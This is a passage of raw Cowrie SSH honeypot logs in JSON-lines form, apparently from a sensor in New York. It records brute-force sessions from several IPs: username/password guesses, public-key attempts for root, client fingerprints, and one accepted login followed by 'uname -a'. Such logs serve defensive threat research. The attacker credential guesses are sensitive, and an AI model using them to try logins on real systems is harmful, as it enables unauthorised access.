"ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:22:21.794691Z","src_ip":"103.15.226.202","session":"439f8db1dc52","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@1m1gr4s12021!","message":"login attempt [admin/Admin@1m1gr4s12021!] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:22:22.524865Z","src_ip":"103.15.226.202","session":"439f8db1dc52","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:22:23.051137Z","src_ip":"103.15.226.202","session":"439f8db1dc52","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:22:23.054318Z","src_ip":"103.15.226.202","session":"439f8db1dc52","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:22:23.298819Z","src_ip":"103.15.226.202","session":"439f8db1dc52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:22:23.303223Z","src_ip":"103.15.226.202","session":"439f8db1dc52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":59644,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab9925d99809","protocol":"ssh","message":"New connection: 213.209.159.56:59644 (159.203.135.109:22) [session: ab9925d99809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:24:14.553169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:24:14.558005Z","src_ip":"213.209.159.56","session":"ab9925d99809","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:24:14.640739Z","src_ip":"213.209.159.56","session":"ab9925d99809","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deante","password":"deante","message":"login attempt [deante/deante] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:24:15.044724Z","src_ip":"213.209.159.56","session":"ab9925d99809","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deante","password":"deante1","message":"login attempt [deante/deante1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:24:16.130957Z","src_ip":"213.209.159.56","session":"ab9925d99809","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deante","password":"deante123","message":"login attempt [deante/deante123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:24:17.216031Z","src_ip":"213.209.159.56","session":"ab9925d99809","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deante","password":"deante1234","message":"login attempt [deante/deante1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:24:18.305684Z","src_ip":"213.209.159.56","session":"ab9925d99809","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deante","password":"deante12345","message":"login attempt [deante/deante12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:24:19.390752Z","src_ip":"213.209.159.56","session":"ab9925d99809","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:24:20.475639Z","src_ip":"213.209.159.56","session":"ab9925d99809","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":48912,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb54c83a2f98","protocol":"ssh","message":"New connection: 103.15.226.202:48912 (10.17.0.5:22) [session: fb54c83a2f98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:25:55.301420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:25:55.306282Z","src_ip":"103.15.226.202","session":"fb54c83a2f98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:25:55.554002Z","src_ip":"103.15.226.202","session":"fb54c83a2f98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456aa","message":"login attempt [root/123456aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:25:56.296249Z","src_ip":"103.15.226.202","session":"fb54c83a2f98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:25:57.546273Z","src_ip":"103.15.226.202","session":"fb54c83a2f98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.129.186.87","src_port":54836,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c0a39a29b69","protocol":"ssh","message":"New connection: 102.129.186.87:54836 (10.17.0.5:22) [session: 1c0a39a29b69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:26:52.405475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:26:52.413764Z","src_ip":"102.129.186.87","session":"1c0a39a29b69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:26:52.535993Z","src_ip":"102.129.186.87","session":"1c0a39a29b69","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a8:54:7c:d0:9a:5e:8c:51:b6:2c:eb:f7:73:10:d1:1c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILfg/ZU1UrXH0KRl/iW431/keVuGyrvD4fGtkb9SXqyD","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint a8:54:7c:d0:9a:5e:8c:51:b6:2c:eb:f7:73:10:d1:1c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:26:53.109538Z","src_ip":"102.129.186.87","session":"1c0a39a29b69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a8:54:7c:d0:9a:5e:8c:51:b6:2c:eb:f7:73:10:d1:1c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILfg/ZU1UrXH0KRl/iW431/keVuGyrvD4fGtkb9SXqyD","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:26:53.113899Z","src_ip":"102.129.186.87","session":"1c0a39a29b69","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:e4:97:c6:55:5f:b3:92:95:a1:38:92:c5:29:3f:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCyQuwL6aQIC7ehZGwZewFloMaBscHq8UPC+ehR7aMjeWiW9vOLjMSOcn/MES8GdSL6LxmWmyFvazSMgHmtZ/ATjjjaicUjkVouWfhkesBUe46cpi4nvgsmcrhmZZL/4jegnph+xk3LkwO9Fs4MH+8gf8OpOQoxNlxuES/2Aynye3Lofc6iyJZ8OFwEhVQbcD5hh/yBWawVYbgyT7zc7/23LMnxSmdrn+feUvhJGYs/l55tbZbFg6bVw6qnEYgFFlbTme2RfuqQBqgHji8EiAKKAOecEzV3qRlWsVaN6Wg9oQfWnnKKvE4DE94b6tHEP8QWpKPFdVpylJpgvkL/OXuatfx0V3yZ4dEcuFaQZ3mJR1Oa7KcXShN0uF3ped5ndVh+ISUNR5D7/FnJZ+XSHNYookRpyzqK5FUBDC5kIghCyDBtilkmti5FqpQ4CrnzSvnHZ6oWyqA2O3rBPC2vNhl2M+DLRhNbhlQ65ojfxwdrwzCoGjYwQASpwQw6KHadEjTq9yyZjxTLu3TRvXpHJGMpmxZLdYDfQfTP1ilfIvo6Z0jBMD7WgQnIXhv42vEFskeLdq4lZu1XkIu/3xrHl3o2H1i1G67oy10NZsMnZOxEysKIGBf/HZkoCI//YM78htAxhgsoQRJfdImgTDLSeNQZdCWljzs/HwUaDSrI2GPNNQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:e4:97:c6:55:5f:b3:92:95:a1:38:92:c5:29:3f:f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:26:53.235013Z","src_ip":"102.129.186.87","session":"1c0a39a29b69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:e4:97:c6:55:5f:b3:92:95:a1:38:92:c5:29:3f:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCyQuwL6aQIC7ehZGwZewFloMaBscHq8UPC+ehR7aMjeWiW9vOLjMSOcn/MES8GdSL6LxmWmyFvazSMgHmtZ/ATjjjaicUjkVouWfhkesBUe46cpi4nvgsmcrhmZZL/4jegnph+xk3LkwO9Fs4MH+8gf8OpOQoxNlxuES/2Aynye3Lofc6iyJZ8OFwEhVQbcD5hh/yBWawVYbgyT7zc7/23LMnxSmdrn+feUvhJGYs/l55tbZbFg6bVw6qnEYgFFlbTme2RfuqQBqgHji8EiAKKAOecEzV3qRlWsVaN6Wg9oQfWnnKKvE4DE94b6tHEP8QWpKPFdVpylJpgvkL/OXuatfx0V3yZ4dEcuFaQZ3mJR1Oa7KcXShN0uF3ped5ndVh+ISUNR5D7/FnJZ+XSHNYookRpyzqK5FUBDC5kIghCyDBtilkmti5FqpQ4CrnzSvnHZ6oWyqA2O3rBPC2vNhl2M+DLRhNbhlQ65ojfxwdrwzCoGjYwQASpwQw6KHadEjTq9yyZjxTLu3TRvXpHJGMpmxZLdYDfQfTP1ilfIvo6Z0jBMD7WgQnIXhv42vEFskeLdq4lZu1XkIu/3xrHl3o2H1i1G67oy10NZsMnZOxEysKIGBf/HZkoCI//YM78htAxhgsoQRJfdImgTDLSeNQZdCWljzs/HwUaDSrI2GPNNQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:26:53.239842Z","src_ip":"102.129.186.87","session":"1c0a39a29b69","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"25:31:7e:ca:b4:a1:de:ea:02:2a:ea:e7:0d:7e:05:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMBzqKmAOZRffI/SUlHrpiAcBRxBSCmMA9oi742zsyWZdmxl2mDFqeu/GVQAd+GkADeZH8Nmbfv3RUrpPj0/qoMlztSR1Fnzr146DH2YAaoJH6tIlLT8ClFRRx/8A/Sjl6zc1pBPUKdrIm/IU7zwcD14RZHC9snuDuohQF5+WsV7N0MHaoSoVpWI6g0bhoopBuP3G2AEeTgodDzGYS3DAiqhWRDT60niOqzhXxa98c22iRYdn9Xy0FhzqfBPF6LQdMXlo4BfwuvN45xAhflk6EFmNhylmYPWGcGCJqNeOjOrfjLVXdKS1cgpWLxXNiKezkQp4cUpoBWVFpoTJbfjO/7/htJ+dOXvHPu4jB/yEhT0pYE5qYDcRzVtQov/c76OP1lepzSHU8zgY5vJjW1WJEpUECBP2Ci+QYNT5YcYjjKd2c7yyv1nVVhfW2yrcBJZvvWuixGvlhIxbmIpWoMPVT/XBlJE3QdPuQ3BIjEXPUnJv+0XbemxBvfXxonrC+4vtaJBeXRq4UkpGNvKg8dZRKiS2cdhohOGAsGGomtkIJW1p0jKhf6X0qmbcsD3qiFPVkUSAG2EGnPS3zQzmK4ARb0jGVhP7MegyVWprf3USnQDn2DX3ulGojiIt5VNy5yVcrmwDyWD50ZqGNlMVS7op+K/HSesOClQ5t7Tt9WAow9w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 25:31:7e:ca:b4:a1:de:ea:02:2a:ea:e7:0d:7e:05:8c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:26:53.361612Z","src_ip":"102.129.186.87","session":"1c0a39a29b69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"25:31:7e:ca:b4:a1:de:ea:02:2a:ea:e7:0d:7e:05:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMBzqKmAOZRffI/SUlHrpiAcBRxBSCmMA9oi742zsyWZdmxl2mDFqeu/GVQAd+GkADeZH8Nmbfv3RUrpPj0/qoMlztSR1Fnzr146DH2YAaoJH6tIlLT8ClFRRx/8A/Sjl6zc1pBPUKdrIm/IU7zwcD14RZHC9snuDuohQF5+WsV7N0MHaoSoVpWI6g0bhoopBuP3G2AEeTgodDzGYS3DAiqhWRDT60niOqzhXxa98c22iRYdn9Xy0FhzqfBPF6LQdMXlo4BfwuvN45xAhflk6EFmNhylmYPWGcGCJqNeOjOrfjLVXdKS1cgpWLxXNiKezkQp4cUpoBWVFpoTJbfjO/7/htJ+dOXvHPu4jB/yEhT0pYE5qYDcRzVtQov/c76OP1lepzSHU8zgY5vJjW1WJEpUECBP2Ci+QYNT5YcYjjKd2c7yyv1nVVhfW2yrcBJZvvWuixGvlhIxbmIpWoMPVT/XBlJE3QdPuQ3BIjEXPUnJv+0XbemxBvfXxonrC+4vtaJBeXRq4UkpGNvKg8dZRKiS2cdhohOGAsGGomtkIJW1p0jKhf6X0qmbcsD3qiFPVkUSAG2EGnPS3zQzmK4ARb0jGVhP7MegyVWprf3USnQDn2DX3ulGojiIt5VNy5yVcrmwDyWD50ZqGNlMVS7op+K/HSesOClQ5t7Tt9WAow9w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:26:53.366096Z","src_ip":"102.129.186.87","session":"1c0a39a29b69","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2f:e7:fc:06:ab:3c:36:67:ac:69:f6:64:65:fa:66:83","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALaz1L5CipWHujeRWAHQXDsOk/DDzlrPuwXcbk1SslKdbQG7wTDpP7lWlOoApfIK125Xjv4VoRt6Da1m7ujrZjPn/7JmLeBAB1PBOkcTSD4fmsnYWOWzOZCFY8eIVUMZQtqDR3pYPMemq3Hc5O72Gn+w4a7V+ovROPh7nsJ6lmxBAAAAFQDc77d5v1tiJHbBhVOLjdTNYQeKUwAAAIAXUZ4dpp1dawwLMStnTkJR9ChHHCC0pMj6iw60GOqCeKBgoBKRwPePmInWyLka3PCV5hns/8BIBDaOMey1rXYGjT7abN8RvrZpJZWJ7M7AxVtCSpGYdZVfyxuQmpPYjHa6yi72HwQIHBt2gfQKE8g3NXU4m8x2CBL913gUaKxfFwAAAIAoWQx9VCtbD0oKSkC1wwYzj83KQyhFa020ozF8B9k4dxBi3Fzhj8goTjahU/cD17mYrBoFirWxlSiRdvCLNBmwCiCMyCIE21gs0QRR4uerpVnK4Hgq6g/+BrYzD7SGLV3n0rU+ZedeVOy/mCfz+cvpvX7T7ohDlbyOvmLxbW+Vzw==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 2f:e7:fc:06:ab:3c:36:67:ac:69:f6:64:65:fa:66:83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:26:53.488652Z","src_ip":"102.129.186.87","session":"1c0a39a29b69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2f:e7:fc:06:ab:3c:36:67:ac:69:f6:64:65:fa:66:83","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALaz1L5CipWHujeRWAHQXDsOk/DDzlrPuwXcbk1SslKdbQG7wTDpP7lWlOoApfIK125Xjv4VoRt6Da1m7ujrZjPn/7JmLeBAB1PBOkcTSD4fmsnYWOWzOZCFY8eIVUMZQtqDR3pYPMemq3Hc5O72Gn+w4a7V+ovROPh7nsJ6lmxBAAAAFQDc77d5v1tiJHbBhVOLjdTNYQeKUwAAAIAXUZ4dpp1dawwLMStnTkJR9ChHHCC0pMj6iw60GOqCeKBgoBKRwPePmInWyLka3PCV5hns/8BIBDaOMey1rXYGjT7abN8RvrZpJZWJ7M7AxVtCSpGYdZVfyxuQmpPYjHa6yi72HwQIHBt2gfQKE8g3NXU4m8x2CBL913gUaKxfFwAAAIAoWQx9VCtbD0oKSkC1wwYzj83KQyhFa020ozF8B9k4dxBi3Fzhj8goTjahU/cD17mYrBoFirWxlSiRdvCLNBmwCiCMyCIE21gs0QRR4uerpVnK4Hgq6g/+BrYzD7SGLV3n0rU+ZedeVOy/mCfz+cvpvX7T7ohDlbyOvmLxbW+Vzw==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:26:53.492967Z","src_ip":"102.129.186.87","session":"1c0a39a29b69","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e9:b8:c5:d9:c7:b0:a5:7e:ff:8d:bd:76:84:14:f1:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpFR/5LQ+yQzgtaka+AgXuAodaPfF55OlbULbk+GVZ4u6tmMzs+NzkyFe2MLEFYc9KvpyY9tJBeIGhJFBFjk/L2QMsBxJ5D0pm/OjnFiQ7Bu3sZE0DFTlPFUt21lOXHu8Fod8/951Swr0cR0l3ovf5W5ygyaeUXQgFPW8gFRNmTcJ27NjKTK1Hc9AzdflTg/FeAWjBTy8BEA40eSx2OZF2P1lWDVvdo26ZPpw3Y8/Ln9CZBgJynokmXXOgrhPY3w0fu9jjAI0ic4g8PeuHCZfGJ1YBUog0prtfcauo/G0kXw9Cj7edzIVBhtb503/uxRnQbsuJmC6xHDTyUagGkAnf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e9:b8:c5:d9:c7:b0:a5:7e:ff:8d:bd:76:84:14:f1:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:26:53.613318Z","src_ip":"102.129.186.87","session":"1c0a39a29b69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e9:b8:c5:d9:c7:b0:a5:7e:ff:8d:bd:76:84:14:f1:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpFR/5LQ+yQzgtaka+AgXuAodaPfF55OlbULbk+GVZ4u6tmMzs+NzkyFe2MLEFYc9KvpyY9tJBeIGhJFBFjk/L2QMsBxJ5D0pm/OjnFiQ7Bu3sZE0DFTlPFUt21lOXHu8Fod8/951Swr0cR0l3ovf5W5ygyaeUXQgFPW8gFRNmTcJ27NjKTK1Hc9AzdflTg/FeAWjBTy8BEA40eSx2OZF2P1lWDVvdo26ZPpw3Y8/Ln9CZBgJynokmXXOgrhPY3w0fu9jjAI0ic4g8PeuHCZfGJ1YBUog0prtfcauo/G0kXw9Cj7edzIVBhtb503/uxRnQbsuJmC6xHDTyUagGkAnf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:26:53.617380Z","src_ip":"102.129.186.87","session":"1c0a39a29b69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:26:53.738374Z","src_ip":"102.129.186.87","session":"1c0a39a29b69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":36647,"dst_ip":"159.203.135.109","dst_port":22,"session":"5828d59f7f76","protocol":"ssh","message":"New connection: 193.24.211.100:36647 (159.203.135.109:22) [session: 5828d59f7f76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:28:14.045822Z"}
